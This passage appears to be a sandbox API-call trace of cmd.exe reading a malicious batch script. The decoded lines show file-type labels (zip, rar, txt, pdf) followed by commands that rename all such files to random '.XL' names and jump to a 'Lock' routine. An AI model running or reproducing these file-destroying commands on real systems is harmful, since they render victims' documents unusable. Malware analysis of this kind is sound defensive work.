hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0037.929] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.929] GetFileType (hFile=0x74) returned 0x1 [0037.929] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0037.930] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.930] SetFilePointer (in: hFile=0x74, lDistanceToMove=4639, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0037.930] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0037.930] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.930] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0037.930] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.930] GetFileType (hFile=0x74) returned 0x1 [0037.930] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0037.930] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.930] SetFilePointer (in: hFile=0x74, lDistanceToMove=4645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0037.930] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0037.930] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.930] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0037.930] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.930] GetFileType (hFile=0x74) returned 0x1 [0037.930] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0037.930] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.930] SetFilePointer (in: hFile=0x74, lDistanceToMove=4647, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0037.931] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0037.931] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.931] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0037.931] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.931] GetFileType (hFile=0x74) returned 0x1 [0037.931] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0037.931] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.931] SetFilePointer (in: hFile=0x74, lDistanceToMove=4673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0037.931] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0037.931] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.931] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0037.931] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.931] GetFileType (hFile=0x74) returned 0x1 [0037.931] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0037.931] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.931] SetFilePointer (in: hFile=0x74, lDistanceToMove=4684, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0037.931] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0037.931] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.931] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0037.932] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.932] GetFileType (hFile=0x74) returned 0x1 [0037.932] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124c [0037.932] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.932] SetFilePointer (in: hFile=0x74, lDistanceToMove=4686, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0037.932] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.932] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.932] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0037.932] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.932] GetFileType (hFile=0x74) returned 0x1 [0037.932] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x124e [0037.932] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.932] SetFilePointer (in: hFile=0x74, lDistanceToMove=4692, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0037.932] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0037.932] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.932] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0037.932] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.932] GetFileType (hFile=0x74) returned 0x1 [0037.932] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1254 [0037.933] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.933] SetFilePointer (in: hFile=0x74, lDistanceToMove=4694, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0037.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0037.933] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.933] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0037.933] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.933] GetFileType (hFile=0x74) returned 0x1 [0037.933] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1256 [0037.933] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.933] SetFilePointer (in: hFile=0x74, lDistanceToMove=4720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0037.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0037.933] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.933] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0037.933] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.933] GetFileType (hFile=0x74) returned 0x1 [0037.933] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1270 [0037.933] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.933] SetFilePointer (in: hFile=0x74, lDistanceToMove=4722, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0037.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0037.934] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.934] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0037.934] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.934] GetFileType (hFile=0x74) returned 0x1 [0037.934] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1272 [0037.934] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.934] SetFilePointer (in: hFile=0x74, lDistanceToMove=4733, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0037.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0037.934] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.934] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0037.934] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.934] GetFileType (hFile=0x74) returned 0x1 [0037.934] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127d [0037.934] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.934] SetFilePointer (in: hFile=0x74, lDistanceToMove=4735, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0037.934] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.934] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.934] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0037.934] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.934] GetFileType (hFile=0x74) returned 0x1 [0037.935] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127f [0037.935] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.935] SetFilePointer (in: hFile=0x74, lDistanceToMove=4741, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0037.935] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0037.935] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.935] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0037.935] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.935] GetFileType (hFile=0x74) returned 0x1 [0037.935] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1285 [0037.935] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.935] SetFilePointer (in: hFile=0x74, lDistanceToMove=4743, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0037.935] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0037.935] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.935] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0037.935] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.935] GetFileType (hFile=0x74) returned 0x1 [0037.935] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1287 [0037.935] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.936] SetFilePointer (in: hFile=0x74, lDistanceToMove=4769, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0037.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0037.936] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.936] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0037.936] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.936] GetFileType (hFile=0x74) returned 0x1 [0037.936] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12a1 [0037.936] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.936] SetFilePointer (in: hFile=0x74, lDistanceToMove=4780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0037.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0037.936] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.936] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0037.936] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.936] GetFileType (hFile=0x74) returned 0x1 [0037.936] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ac [0037.936] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.936] SetFilePointer (in: hFile=0x74, lDistanceToMove=4782, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0037.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.936] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.937] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0037.937] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.937] GetFileType (hFile=0x74) returned 0x1 [0037.937] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12ae [0037.937] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.937] SetFilePointer (in: hFile=0x74, lDistanceToMove=4788, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0037.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":txt\r\nock\r\n") returned 6 [0037.937] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.937] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0037.937] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.937] GetFileType (hFile=0x74) returned 0x1 [0037.937] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b4 [0037.937] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.937] SetFilePointer (in: hFile=0x74, lDistanceToMove=4790, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0037.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nxt\r\n") returned 2 [0037.937] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.937] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0037.937] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.937] GetFileType (hFile=0x74) returned 0x1 [0037.938] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12b6 [0037.938] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.938] SetFilePointer (in: hFile=0x74, lDistanceToMove=4816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0037.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.txt %RANDOM%.XL\r\n") returned 26 [0037.938] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.938] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0037.938] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.938] GetFileType (hFile=0x74) returned 0x1 [0037.938] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12d0 [0037.938] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.938] SetFilePointer (in: hFile=0x74, lDistanceToMove=4827, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0037.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nt %RANDOM%.XL\r\n") returned 11 [0037.938] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.938] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0037.938] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.938] GetFileType (hFile=0x74) returned 0x1 [0037.938] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12db [0037.938] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.938] SetFilePointer (in: hFile=0x74, lDistanceToMove=4829, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0037.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.939] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.939] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0037.939] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.939] GetFileType (hFile=0x74) returned 0x1 [0037.939] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12dd [0037.939] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.939] SetFilePointer (in: hFile=0x74, lDistanceToMove=4835, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0037.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":pdf\r\nock\r\n") returned 6 [0037.939] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.939] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x12e3 [0037.939] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.939] GetFileType (hFile=0x74) returned 